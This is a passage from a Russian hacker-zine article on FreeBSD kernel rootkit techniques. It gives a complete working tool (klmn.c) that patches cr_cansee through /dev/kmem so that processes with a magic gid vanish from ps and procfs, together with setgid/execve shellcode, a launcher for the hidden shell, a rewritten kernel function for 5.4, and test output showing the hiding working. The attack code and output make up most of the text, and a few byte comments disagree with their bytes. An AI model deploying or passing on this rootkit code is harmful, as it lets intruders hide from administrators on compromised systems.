How to have sex with FREEBSD KERNEL
-===================================-
c0ntents:
0x01 description
0x02 how ps works
0x03 use kernel hacks
0x04 writing clipcode
0x05 actually do the hack (5.0 or 5.1)
0x06 new wave (5.x >= 3)
0x07 something wrong?? (4.x)
0x08 testing on 4.11-release
0x09 outro
.next:
=[ 0x01 description ]=========================================================
В этой статье мы займёмся процесс-хайдингом. Прикинем, какими должны
быть его особенности:
- маленький размер (чем компактнее, тем больше функциональность)
- минимум рутины и всякой формальной хуйни
- отсутствие в списке загруженных модулей ядра
- отсутствие экпортируемых символов.. а вообще нафиг все символы!
- таблица системных вызовов должна оставаться неизменной
- максимальное быстродействие
- отсутсвие всякой лишней фигни
Прежде чем вы начнёте читать, вот то что у нас получилось в итоге:
"\x6a\x0a"
"\x5a"
"\x39\x53\x54"
"\x75\x01"
"\x40"
9 байт. Инъекция в сердце системы, которая позволяют прятать процессы.
Причём не только паррента, но и его чайлдов. Более того, благодаря его
гибкости можно выделывать всё на что хватит фантазии. Насладились этим
кодом?? Тогда приступим к повествованию.
=[ 0x02 how ps works ]========================================================
Для начала было бы совсем не лишним понять, как и откуда ps вытаскивает
список процессов. Как вам наверное известно (например из статьи d7:0x05
) инфу по процессам можно доставать через интерфейс sysctl(). Если вы
не поленитесь и загляните в исходный код ps.c, то убедитесь что копать
нужно именно всевозможные sysctls.
Смотрим sys/kern/kern_sysctl.c:
int
__sysctl(struct thread *td, struct sysctl_args *uap)
{
int error, name[CTL_MAXNAME];
size_t j;
if (uap->namelen > CTL_MAXNAME || uap->namelen < 2)
return (EINVAL);
error = copyin(uap->name, &name, uap->namelen * sizeof(int));
if (error)
return (error);
mtx_lock(&Giant);
error = userland_sysctl(td, name, uap->namelen,
uap->old, uap->oldlenp, 0,
uap->new, uap->newlen, &j);
if (error && error != ENOMEM)
goto done2;
if (uap->oldlenp) {
int i = copyout(&j, uap->oldlenp, sizeof(j));
if (i)
error = i;
}
done2:
mtx_unlock(&Giant);
return (error);
}
Так, сам системный вызов sysctl() переадресует запрос выше:
int
userland_sysctl(struct thread *td, int *name, u_int namelen, void *old,
size_t *oldlenp, int inkernel, void *new, size_t newlen, size_t *retval)
{
int error = 0;
struct sysctl_req req, req2;
bzero(&req, sizeof req);
req.td = td;
if (oldlenp) {
if (inkernel) {
req.oldlen = *oldlenp;
} else {
error = copyin(oldlenp, &req.oldlen, sizeof(*oldlenp));
if (error)
return (error);
}
}
if (old) {
if (!useracc(old, req.oldlen, VM_PROT_WRITE))
return (EFAULT);
req.oldptr= old;
}
if (new != NULL) {
if (!useracc(new, req.newlen, VM_PROT_READ))
return (EFAULT);
req.newlen = newlen;
req.newptr = new;
}
req.oldfunc = sysctl_old_user;
req.newfunc = sysctl_new_user;
req.lock = 1;
SYSCTL_LOCK();
#ifdef MAC
error = mac_check_system_sysctl(td->td_ucred, name, namelen, old,
oldlenp, inkernel, new, newlen);
if (error) {
SYSCTL_UNLOCK();
return (error);
}
#endif
do {
req2 = req;
error = sysctl_root(0, name, namelen, &req2);
// ^^^^^ damn, dismissed again ((
} while (error == EAGAIN);
Чёртов user_sysctl пинает нас дальше по кишкам ядра, посмотрим что же
нас ждёт дальше:
static int
sysctl_root(SYSCTL_HANDLER_ARGS)
{
struct sysctl_oid *oid;
int error, indx;
error = sysctl_find_oid(arg1, arg2, &oid, &indx, req);
if (error)
return (error);
if ((oid->oid_kind & CTLTYPE) == CTLTYPE_NODE) {
/*
* You can't call a sysctl when it's a node, but has
* no handler. Inform the user that it's a node.
* The indx may or may not be the same as namelen.
*/
if (oid->oid_handler == NULL)
return (EISDIR);
}
/* Is this sysctl writable? */
if (req->newptr && !(oid->oid_kind & CTLFLAG_WR))
return (EPERM);
KASSERT(req->td != NULL, ("sysctl_root(): req->td == NULL"));
/* Is this sysctl sensitive to securelevels? */
if (req->newptr && (oid->oid_kind & CTLFLAG_SECURE)) {
error = securelevel_gt(req->td->td_ucred, 0);
if (error)
return (error);
}
/* Is this sysctl writable by only privileged users? */
if (req->newptr && !(oid->oid_kind & CTLFLAG_ANYBODY)) {
int flags;
if (oid->oid_kind & CTLFLAG_PRISON)
flags = PRISON_ROOT;
else
flags = 0;
error = suser_cred(req->td->td_ucred, flags);
if (error)
return (error);
}
if (!oid->oid_handler)
return EINVAL;
if ((oid->oid_kind & CTLTYPE) == CTLTYPE_NODE)
error = oid->oid_handler(oid, (int *)arg1 + indx, arg2 - indx,
req);
else
error = oid->oid_handler(oid, oid->oid_arg1, oid->oid_arg2,
req);
return (error);
}
Таак, теперь вызывается собственно обработчик sysctl-a, к которому мы
и хотим обратиться. Опять таки, в исходниках ps можно увидеть, что это
KERN_PROC. Смотрим далее файл sys/kern/kern_proc.c:
static int
sysctl_kern_proc(SYSCTL_HANDLER_ARGS)
{
int *name = (int*) arg1;
u_int namelen = arg2;
struct proc *p;
int doingzomb;
int error = 0;
if (oidp->oid_number == KERN_PROC_PID) {
if (namelen != 1)
return (EINVAL);
p = pfind((pid_t)name[0]);
if (!p)
return (0);
if (p_cansee(curthread, p)) {
PROC_UNLOCK(p);
return (0);
}
error = sysctl_out_proc(p, req, 0);
return (error);
}
if (oidp->oid_number == KERN_PROC_ALL && !namelen)
;
else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
;
else
return (EINVAL);
if (!req->oldptr) {
/* overestimate by 5 procs */
error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
if (error)
return (error);
}
sysctl_wire_old_buffer(req, 0);
sx_slock(&allproc_lock);
for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
if (!doingzomb)
p = LIST_FIRST(&allproc);
else
p = LIST_FIRST(&zombproc);
for (; p != 0; p = LIST_NEXT(p, p_list)) { [1] ****************
PROC_LOCK(p);
/*
* Show a user only appropriate processes.
*/
if (p_cansee(curthread, p)) { [2] ***********************
PROC_UNLOCK(p);
continue;
}
/*
* Skip embryonic processes.
*/
if (p->p_state == PRS_NEW) { [3] **********************
PROC_UNLOCK(p);
continue;
}
...
Похоже вот как-раз то, что нам нужно. В цикле [1] функция пробегает
по списку процессов, при этом если срабатывает триггер [2] или [3], то
процесс пропускается.
Самым тривиальным решением было бы выставлять p_state = PRS_NEW, но это
во-первых не будет действовать на чайлдов (после fork() или execve()
ядро выставит p_state обратно в нормальное состояние и процесс станет
видимым. К тому же, размер процесс-хайдера будет весьма велик, а это
не есть гуд.
Теперь посмотрим на пункт [2], вызов p_cansee() уже должен был наводить
на некоторые мысли. Если вспомнить возможности системы, то среди них
есть и такая: можно оградить непривилегированные процессы, разрешив им
видеть только собственных чайлдов. Похоже вот и решение...
=[ 0x03 use kernel hacks ]====================================================
Теперь необходимо посмотреть исходники функции p_cansee(), их можно
найти в sys/kern/kern_prot.c:
/*-
* Determine if td "can see" the subject specified by p.
* Returns: 0 for permitted, an errno value otherwise
* Locks: Sufficient locks to protect p->p_ucred must be held. td really
* should be curthread.
* References: td and p must be valid for the lifetime of the call
*/
int
p_cansee(struct thread *td, struct proc *p)
{
/* Wrap cr_cansee() for all functionality. */
KASSERT(td == curthread, ("%s: td not curthread", __func__));
PROC_LOCK_ASSERT(p, MA_OWNED);
return (cr_cansee(td->td_ucred, p->p_ucred));
}
Ок, суть в том, что если функция возвращает 0 процесс отображается, а в
противном случае - нет. Стало быть нам нужно подправить эту функцию. Но
тут есть одна мелочь - нам понадобится вытаскивать структуру ucred, а
это лишний размер. Тем более, что указатель на структуру ucred
интересующего нас процесса передаётся cr_cansee(), откуда выцепить его
будет легче. Смотрим исходник:
int
cr_cansee(struct ucred *u1, struct ucred *u2)
{
int error;
if ((error = prison_check(u1, u2)))
return (error);
#ifdef MAC
if ((error = mac_check_cred_visible(u1, u2)))
return (error);
#endif
if ((error = cr_seeotheruids(u1, u2)))
return (error);
return (0);
}
Здорово! Теперь посмотрим дампы этих функций:
# nm /boot/kernel/kernel | grep p_cansee
c02e40d0 T p_cansee
# nm /boot/kernel/kernel | grep cr_cansee
c02e4080 T cr_cansee
# objdump -d --start-address=0xc02e4080 --stop-address=0xc02e40ff
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c02e4080 <cr_cansee>:
c02e4080: 55 push %ebp
c02e4081: 89 e5 mov %esp,%ebp
c02e4083: 83 ec 10 sub $0x10,%esp
c02e4086: 89 5d f8 mov %ebx,0xfffffff8(%ebp)
c02e4089: 89 75 fc mov %esi,0xfffffffc(%ebp)
c02e408c: 8b 75 08 mov 0x8(%ebp),%esi
c02e408f: 8b 5d 0c mov 0xc(%ebp),%ebx
c02e4092: 89 5c 24 04 mov %ebx,0x4(%esp,1)
c02e4096: 89 34 24 mov %esi,(%esp,1)
c02e4099: e8 b2 29 ff ff call c02d6a50 <prison_check>
c02e409e: 85 c0 test %eax,%eax
c02e40a0: 75 19 jne c02e40bb <cr_cansee+0x3b>
c02e40a2: 89 5c 24 04 mov %ebx,0x4(%esp,1)
c02e40a6: 89 34 24 mov %esi,(%esp,1)
c02e40a9: e8 82 ff ff ff call c02e4030 <cr_seeotheruids>
c02e40ae: 89 c2 mov %eax,%edx
c02e40b0: 85 c0 test %eax,%eax
c02e40b2: 0f 94 c0 sete %al
c02e40b5: 0f b6 c0 movzbl %al,%eax
c02e40b8: 48 dec %eax
c02e40b9: 21 d0 and %edx,%eax
c02e40bb: 8b 5d f8 mov 0xfffffff8(%ebp),%ebx
c02e40be: 8b 75 fc mov 0xfffffffc(%ebp),%esi
c02e40c1: 89 ec mov %ebp,%esp
c02e40c3: 5d pop %ebp
c02e40c4: c3 ret
c02e40c5: 8d 74 26 00 lea 0x0(%esi,1),%esi
c02e40c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi
c02e40d0 <p_cansee>:
c02e40d0: 55 push %ebp
c02e40d1: 89 e5 mov %esp,%ebp
c02e40d3: 83 ec 08 sub $0x8,%esp
c02e40d6: 8b 45 0c mov 0xc(%ebp),%eax
c02e40d9: 8b 40 20 mov 0x20(%eax),%eax
c02e40dc: 89 44 24 04 mov %eax,0x4(%esp,1)
c02e40e0: 8b 45 08 mov 0x8(%ebp),%eax
c02e40e3: 8b 40 78 mov 0x78(%eax),%eax
c02e40e6: 89 04 24 mov %eax,(%esp,1)
c02e40e9: e8 92 ff ff ff call c02e4080 <cr_cansee>
c02e40ee: 89 ec mov %ebp,%esp
c02e40f0: 5d pop %ebp
c02e40f1: c3 ret
c02e40f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,1),%esi
c02e40f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi
Теперь прикинем наши возможности, в p_cansee() свободно 14 байт, куда
можно дропнуть clipcode, а в cr_cansee() - всего 11. Наверное вы уже
догадались, что патчить будем именно cr_cansee()? -)
=[ 0x04 writing clipcode ]====================================================
Сперва стоит сказать пару слов о том, как работает стек при вызове
функции например huy_zabey(int a, int b). Посмотрим дамп какой-нибудь
левой функции, и что же мы видим:
08048538 <huy_zabey>:
8048538: 55 push %ebp
8048539: 89 e5 mov %esp,%ebp
804853b: 83 ec 08 sub $0x8,%esp
...
Итак, что же происходит? При вызове функции сперва с стек кладётся eip,
чтобы после ret-a можно было после huy_zabey() вернуться к месту вызова
и продолжить выполнение функции (например main() ). Потом дампается ebp
(push %ebp), в ebp тем временем сохраняется указатель на участок стека,
с которым работала main(). Чтобы не обламывать её, в конец функции
компилятор добавляет такие строчки:
8048549: 89 ec mov %ebp,%esp
804854b: 5d pop %ebp
804854c: c3 ret
Действие их соответственно обратно приведённому выше: из ebp в esp
кладётся старое значение стекового указателя, потом из стека
восстанавливается оригинальное значение ebp и уже после этого идёт ret,
тоесть возвращение к адресу, сдампаному в стек перед ebp (saved eip). А
вот если нашей функции передаются аргументы (пусть это будут int a, int
b как в описанном примере huy_zabey() ), то указатели на них кладутся в
стек до eip (если аргумент - число, то кладётся не указатель, а его
значение). Таким образом, мы можем вытащить arg[1] aka a и arg[2] aka b
таким вот образом:
mov 0x8(%ebp), %eax # перепрыгиваем через сохранённые ebp и eip (оффсет
# 8 байт соответсвенно) и берём первый аргумент (a)
mov 0xc(%ebp), %eax # скачем через ebp , eip и первый аргумент и берём
# второй (смещение - 12 байт или 0x0c)
Если ещё непонятно вот структура стека после работы инициалирующего кода
(т.е. в нашем случае после sub $0x8,%esp):
0x0c < arg2 > - указатель или значение второго аргумента
0x08 < arg1 > - указатель или значение первого аргумента
0x04 < %eip > - собственно то, что любят перезаписывать при b0f ))
0x00> < %ebp > - ebp кладётся в стек в самом начале (push %ebp), именно
сюда показывает наш стек
Кстати, значение, возвращаемое функцией дожно храниться в %eax. В нашем
случае, там будет либо 0, либо код ошибки, описывающей почему же юзер не
может видеть данный процесс.
Итак, смотрим что же у нас есть в cr_cansee():
c02e4080 <cr_cansee>:
c02e4080: 55 push %ebp
c02e4081: 89 e5 mov %esp,%ebp
c02e4083: 83 ec 10 sub $0x10,%esp
c02e4086: 89 5d f8 mov %ebx,0xfffffff8(%ebp)
c02e4089: 89 75 fc mov %esi,0xfffffffc(%ebp)
c02e408c: 8b 75 08 mov 0x8(%ebp),%esi // кладём указатель
// на первый аргумент в %esi
c02e408f: 8b 5d 0c mov 0xc(%ebp),%ebx // кладём указатель
// на второй аргумент в %ebx
...
Легко видеть что в %esi кладётся указатель на структуру ucred процесса,
который делает системный вызов. В %ebx кладётся указатель на ucred того
проца, который мы хотим прятать. Далее вызываются функции prison_check
и cr_seeotheruids() и в конце если ни одна из них не возвратила ошибку,
возвращается 0. Наша задача такова - из второй структуры ucred (ака 2-й
аргумент, указатель на который уже лежит в ebx) вытащить какое-нибудь
значение (пусть это будет gid) и если оно не равно нашему определённому
значению (скажем 33 ака 0x21) то возвращаем 0, иначе даём скажем 1 и
наш процесс не отображается. Есть маленькая проблема - нужно уложиться
в 11 байт (хотя можно прыгать по nop-овым участкам других функций, но
опять-таки размер тут играет решающую роль).
Вот собственно и рабочий clip_code:
...
8048541: 6a 0a push $0x21
8048543: 5a pop %edx
8048544: 39 53 54 cmp %edx, 0x54(%ebx) // сравниваем gid с 33
8048546: 75 01 jne 8048549 <.nxt>
8048548: 40 inc %eax // если совпадает то
// увеличиваем %eax (было 0)
...
А вот и его дамп, вы уже видели его в начале статьи:
// evil mad FreeBSD x86 process hiding clipcode
"\x6a\x21" // 0x21 == 33 gid
"\x5a"
"\x39\x53\x54"
"\x75\x01"
"\x40"
// 9 bytes total
=[ 0x05 actually do the hack ]================================================
Теперь, чтобы вогнать сыворотку в ядро, нам нужен шприц (в народе его
называют баян - не спрашивайте, откуда я знаю )). Итак, что же нам надо
делать:
- находим оффсет к нужной точке в ядре, куда будем вгонять
- добавляем ret-code, который бы завершал функцию корректно после
модификации её нашим софтом.
- открываем /dev/kmem,
- перемещаем указатель в файле по полученному ранее оффсету (via lseek() )
- пишем собственно clip_code + ret_code
Вот пример такого кода:
// klmn.c - FreeBSD 5.0-Release process hiding tool by defaced staff
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#define START 0xc02e40bb // offset for FreeBSD 5.0-Release
#define CLIP_SZ 9
#define RET_SZ 10
#define SIZE CLIP_SZ + RET_SZ
char clip_code[] =
// FreeBSD x86 process hiding code (9 bytes)
"\x6a\x21"
"\x5a"
"\x39\x53\x54"
"\x75\x01"
"\x40"
// ret-code ripped from dump of cr_cansee()
"\x8b\x5d\xf8"
"\x8b\x75\xfc"
"\x89\xec"
"\x5d"
"\xc3";
int main(int argc, char *argv[])
{
unsigned int fd, c ,a=0;
unsigned char b;
if (argc < 2)
{
printf("usage: %s < on | off | show >\n", argv[0]);
return 0;
}
if (strcmp(argv[1], "on") == 0) a = 1;
if (strcmp(argv[1], "off") == 0) a = 2;
if (strcmp(argv[1], "show") == 0) a = 3;
if (a == 0) return 0;
fd = open("/dev/kmem", O_RDWR);
if (fd < 0)
{
printf("[-] cant open /dev/kmem\n");
return 0;
}
if (lseek(fd, START, 0) < 0)
{
printf("[-] cant do lseek()\n");
close(fd);
return 0;
}
if (a == 1)
{
write(fd, &clip_code, SIZE);
printf("process hiding is on\n");
} else if (a == 2) {
b = 0x90;
for (a=0; a < CLIP_SZ; a++) write(fd, &b, 1);
printf("process hiding is off\n");
} else if (a == 3) {
/* do some dirty hex-dump */
for (a=0; a < SIZE; a++)
{
read(fd, &b, 1);
printf("%i: 0x%x\n", a, b);
}
}
close(fd);
return 0;
}
root~# cat shell.s
# simple login utility
# setgid(0x21)
xorl %eax, %eax
push $0x21
push $181
push %eax
int $128
# execve(/bin/sh)
xor %eax,%eax
push %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
push %eax
pushl %ebx
movl %esp,%edx
push %eax
pushl %edx
pushl %ebx
pushl $59
push %eax
int $128
# exit()
xor %eax,%eax
push $1
push %eax
int $128
Это пригодится для всяких руткитов и так далее, вот более показательный
пример:
root~# cat shell.c
#include <stdio.h>
int main()
{
unsigned short pid;
char *argz[] = {"sh", 0};
pid = fork();
if (pid > 0)
{
printf("got pid %i\n", pid);
waitpid(pid, 0, 0);
return 0;
}
setgid(0x21);
execve("/bin/sh", &argz, 0);
return 0;
}
Теперь тест:
root~# ./shell
got pid 447
# id
uid=0(root) gid=10 groups=10, 0(wheel), 5(operator)
# ps -auxw
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 11 96.9 0.0 0 12 ?? RL 1Jan70 0:49.36 (idle)
root 10 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (ktrace)
root 1 0.0 0.1 712 368 ?? SLs 1Jan70 0:00.00 /sbin/init --
root 12 0.0 0.0 0 12 ?? WL 1Jan70 0:00.02 (swi6: tty:sio clock)
root 14 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (swi1: net)
root 2 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (g_event)
root 3 0.0 0.0 0 12 ?? DL 1Jan70 0:00.01 (g_up)
root 4 0.0 0.0 0 12 ?? DL 1Jan70 0:00.05 (g_down)
root 15 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (random)
root 19 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (swi5: acpitaskq)
root 21 0.0 0.0 0 12 ?? WL 1Jan70 0:00.01 (irq11: rl0 acpi0)
root 5 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task0)
root 6 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task1)
root 7 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task2)
root 22 0.6 0.0 0 12 ?? WL 1Jan70 0:01.73 (irq14: ata0)
root 23 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (irq15: ata1)
root 28 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (irq6: fdc0)
root 33 0.0 0.0 0 12 ?? WL 1Jan70 0:00.01 (irq1: atkbd0)
root 8 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (pagedaemon)
root 9 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (vmdaemon)
root 37 0.0 0.0 0 12 ?? DL 1Jan70 0:01.12 (pagezero)
root 38 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (bufdaemon)
root 39 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (syncer)
root 40 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (vnlru)
root 420 0.0 0.2 1532 1188 v0 Is 11:06PM 0:00.02 login [pam] (login)
root 421 0.0 0.1 1184 864 v1 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv1
root 422 0.0 0.1 1184 864 v2 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv2
root 423 0.0 0.1 1184 864 v3 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv3
root 424 0.0 0.1 1184 864 v4 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv4
root 425 0.0 0.2 1492 1052 v0 S 11:06PM 0:00.02 -csh (csh)
root 446 0.0 0.1 1108 552 v0 S+ 11:06PM 0:00.00 ./shell
root 447 0.0 0.1 856 640 v0 R+ 11:06PM 0:00.00 sh
root 0 0.0 0.0 0 12 ?? DLs 1Jan70 0:00.00 (swapper)
root 449 0.0 0.1 652 480 v0 R+ 11:06PM 0:00.00 ps -auxw
Как видите, тут наши процессы видны( pid 447 и 449). Теперь запустим
klmn:
root~# ./klmn on
root~# ./shell
got pid 461
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 11 99.0 0.0 0 12 ?? RL 1Jan70 3:23.18 (idle)
root 10 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (ktrace)
root 1 0.0 0.1 712 368 ?? ILs 1Jan70 0:00.00 /sbin/init --
root 12 0.0 0.0 0 12 ?? WL 1Jan70 0:00.07 (swi6: tty:sio clock)
root 14 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (swi1: net)
root 2 0.0 0.0 0 12 ?? DL 1Jan70 0:00.01 (g_event)
root 3 0.0 0.0 0 12 ?? DL 1Jan70 0:00.01 (g_up)
root 4 0.0 0.0 0 12 ?? DL 1Jan70 0:00.06 (g_down)
root 15 0.0 0.0 0 12 ?? DL 1Jan70 0:00.01 (random)
root 19 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (swi5: acpitaskq)
root 21 0.0 0.0 0 12 ?? WL 1Jan70 0:00.07 (irq11: rl0 acpi0)
root 5 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task0)
root 6 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task1)
root 7 0.0 0.0 0 12 ?? IL 1Jan70 0:00.00 (acpi_task2)
root 22 0.0 0.0 0 12 ?? WL 1Jan70 0:01.76 (irq14: ata0)
root 23 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (irq15: ata1)
root 28 0.0 0.0 0 12 ?? WL 1Jan70 0:00.00 (irq6: fdc0)
root 33 0.0 0.0 0 12 ?? WL 1Jan70 0:00.02 (irq1: atkbd0)
root 8 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (pagedaemon)
root 9 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (vmdaemon)
root 37 0.0 0.0 0 12 ?? DL 1Jan70 0:01.12 (pagezero)
root 38 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (bufdaemon)
root 39 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (syncer)
root 40 0.0 0.0 0 12 ?? DL 1Jan70 0:00.00 (vnlru)
root 420 0.0 0.2 1532 1188 v0 Is 11:06PM 0:00.02 login [pam] (login)
root 421 0.0 0.1 1184 864 v1 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv1
root 422 0.0 0.1 1184 864 v2 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv2
root 423 0.0 0.1 1184 864 v3 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv3
root 424 0.0 0.1 1184 864 v4 Is+ 11:06PM 0:00.00 /usr/libexec/getty Pc ttyv4
root 425 0.0 0.2 1492 1052 v0 S 11:06PM 0:00.02 -csh (csh)
root 0 0.0 0.0 0 12 ?? DLs 1Jan70 0:00.00 (swapper)
root 460 0.0 0.1 1096 552 v0 S 11:09PM 0:00.00 ./shell
Теперь же наших процессов не видно (pid 461 и хз какой у ps )). Кстати,
т.к. procfs используют ту же методику получения списка активных задач,
наш процесс тоже не засветится! Вот и всё!
=[ 0x06 new wave (5.x <= 3) ]=================================================
А в чём спрашивается, проблема? Посмотрим дампы например FreeBSD 5.4:
root~# objdump -d --start-address=0xc0608890 --stop-address=0xc06088ff
/boot/kernel/kernel
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c0608890 <cr_cansee>:
c0608890: 55 push %ebp
c0608891: 89 e5 mov %esp,%ebp
c0608893: 56 push %esi
c0608894: 53 push %ebx
c0608895: 8b 75 08 mov 0x8(%ebp),%esi
c0608898: 8b 5d 0c mov 0xc(%ebp),%ebx
c060889b: 53 push %ebx
c060889c: 56 push %esi
c060889d: e8 e6 09 ff ff call c05f9288 <prison_check>
c06088a2: 83 c4 08 add $0x8,%esp
c06088a5: 89 c2 mov %eax,%edx
c06088a7: 85 c0 test %eax,%eax
c06088a9: 75 1d jne c06088c8 <cr_cansee+0x38>
c06088ab: 53 push %ebx
c06088ac: 56 push %esi
c06088ad: e8 2e ff ff ff call c06087e0 <cr_seeotheruids>
c06088b2: 83 c4 08 add $0x8,%esp
c06088b5: 89 c2 mov %eax,%edx
c06088b7: 85 c0 test %eax,%eax
c06088b9: 75 0d jne c06088c8 <cr_cansee+0x38>
c06088bb: 53 push %ebx
c06088bc: 56 push %esi
c06088bd: e8 5a ff ff ff call c060881c <cr_seeothergids>
c06088c2: 83 c4 08 add $0x8,%esp
c06088c5: 89 c2 mov %eax,%edx
c06088c7: 90 nop
c06088c8: 89 d0 mov %edx,%eax
c06088ca: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
c06088cd: 5b pop %ebx
c06088ce: 5e pop %esi
c06088cf: c9 leave
c06088d0: c3 ret
c06088d1: 8d 76 00 lea 0x0(%esi),%esi
c06088d4 <p_cansee>:
c06088d4: 55 push %ebp
c06088d5: 89 e5 mov %esp,%ebp
c06088d7: 8b 45 0c mov 0xc(%ebp),%eax
c06088da: ff 70 20 pushl 0x20(%eax)
c06088dd: 8b 45 08 mov 0x8(%ebp),%eax
c06088e0: ff b0 80 00 00 00 pushl 0x80(%eax)
c06088e6: e8 a5 ff ff ff call c0608890 <cr_cansee>
c06088eb: c9 leave
c06088ec: c3 ret
c06088ed: 8d 76 00 lea 0x0(%esi),%esi
Как вы видите, в последних версиях ветки 5.х код неплохо оптимизирован,
так что места под клипкод просто так не обломится. Задача такова: есть
функция, с 4-мя свободными байтами (3 байта после ret-а и 1 nop), туда
необходимо загнать 9 байт клипкода, при этом не повредив регистры (%edx
не в счёт, в этом можно убедиться исходя из приведённого выше дампа)
и, конечно, сохранив её функциональность.
Решение снова не самое сложное - перепишем-ка функцию cr_cansee() на
ассемблере. Сперва её суть: подряд вызываются prison_check,
cr_seeotheruids и cr_seeothergids, после каждого вызова идут проверки
возвращённого значения, если он не ноль (test %eax, %eax; jne bla-bla)
то происходит локал-джамп к опкодам, завершающим функцию. Что же нам
теперь сделать? Одно из решений: в edx класть сумму возвращённых eax-ов
и соответственно, если всё ок то 0 в edx и будет. В противном случае,
cr_cansee() вернёт, как и положено, значение большее нуля, всё пройдёт
как нужно, а ковыряться что именно там за бага, админ скорее всего не
будет.
Итак, прикинем сколько можно освободить места таким способом:
c0608890 <cr_cansee>:
c0608890: 55 push %ebp
c0608891: 89 e5 mov %esp,%ebp
c0608893: 56 push %esi
c0608894: 53 push %ebx
c0608895: 8b 75 08 mov 0x8(%ebp),%esi
c0608898: 8b 5d 0c mov 0xc(%ebp),%ebx
c060889b: 53 push %ebx
c060889c: 56 push %esi
c060889d: e8 e6 09 ff ff call c05f9288 <prison_check>
c06088a2: 83 c4 08 add $0x8,%esp
c06088a5: 89 c2 mov %eax,%edx
# эти 2 инструкции нахер:
c06088a7: 85 c0 test %eax,%eax
c06088a9: 75 1d jne c06088c8 <cr_cansee+0x38>
c06088ab: 53 push %ebx
c06088ac: 56 push %esi
c06088ad: e8 2e ff ff ff call c06087e0 <cr_seeotheruids>
c06088b2: 83 c4 08 add $0x8,%esp
# меняем на addl %eax, %edx, в edx будет сумма результатов
c06088b5: 89 c2 mov %eax,%edx
# эти 2 тоже нахер:
c06088b7: 85 c0 test %eax,%eax
c06088b9: 75 0d jne c06088c8 <cr_cansee+0x38>
c06088bb: 53 push %ebx
c06088bc: 56 push %esi
c06088bd: e8 5a ff ff ff call c060881c <cr_seeothergids>
c06088c2: 83 c4 08 add $0x8,%esp
# меняем на addl %edx, %eax
c06088c5: 89 c2 mov %eax,%edx
# ещё 3 байта нахуй!!
c06088c7: 90 nop
c06088c8: 89 d0 mov %edx,%eax
c06088ca: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
c06088cd: 5b pop %ebx
c06088ce: 5e pop %esi
c06088cf: c9 leave
c06088d0: c3 ret
c06088d1: 8d 76 00 lea 0x0(%esi),%esi
Итого: 4+4+3 == 11 байт, и это не учитывая ещё 3 байта после ret-a.
Очень неплохо, вот как будет выглядить исправленная функция cr_cansee:
"\x55" # push %ebp
"\x89\xe5" # movl %esp, %ebp
"\x56" # push %esi
"\x53" # push %ebx
"\x8b\x75\x08" # push 0x8(%ebp), %esi
"\x8b\x5d\x0c" # push 0xc(%ebp), %ebx
"\x53" # push %ebx
"\x56" # push %esi
"\xe8\xe6\x09\xff\xff" # call c05f9288 <prison_check>
"\x83\xc4\x08" # add $0x8,%esp
"\x89\xc2" # mov %eax,%edx EDX = EAX
"\x53" # push %ebx
"\x56" # push %esi
"\xe8\x2e\xff\xff\xff" # call c06087e0 <cr_seeotheruids>
"\x83\xc4\x08" # add $0x8,%esp
"\x01\xc2" # add %eax,%edx EDX += EAX
"\x53" # push %ebx
"\x56" # push %esi
"\xe8\x5a\xff\xff\xff" # call c060881c <cr_seeothergids>
"\x83\xc4\x08" # add $0x8,%esp
"\x01\xd0" # add %edx,%eax EAX += EDX
# our clipcode here
"\x6a\x21" # push MAGIC_GID <0..255>
"\x5a" # popl %edx
"\x39\x53\x54" # cmpl %edx, 0x54(%ebx)
"\x75\x01" # jne +1
"\x40" # incl %eax
# ret-back
"\x8d\x65\xf8" # leal 0xfffffff8(%ebp),%esp
"\x5b" # pop %ebx
"\x5e" # pop %esi
"\xc9" # leave
"\xc3"
Вот собственно и всё,такого вида колбасу уже можно писать в кернел, +ещё
4 байта свободно. Можно, например, сделать поддержку 2-х байтового magic
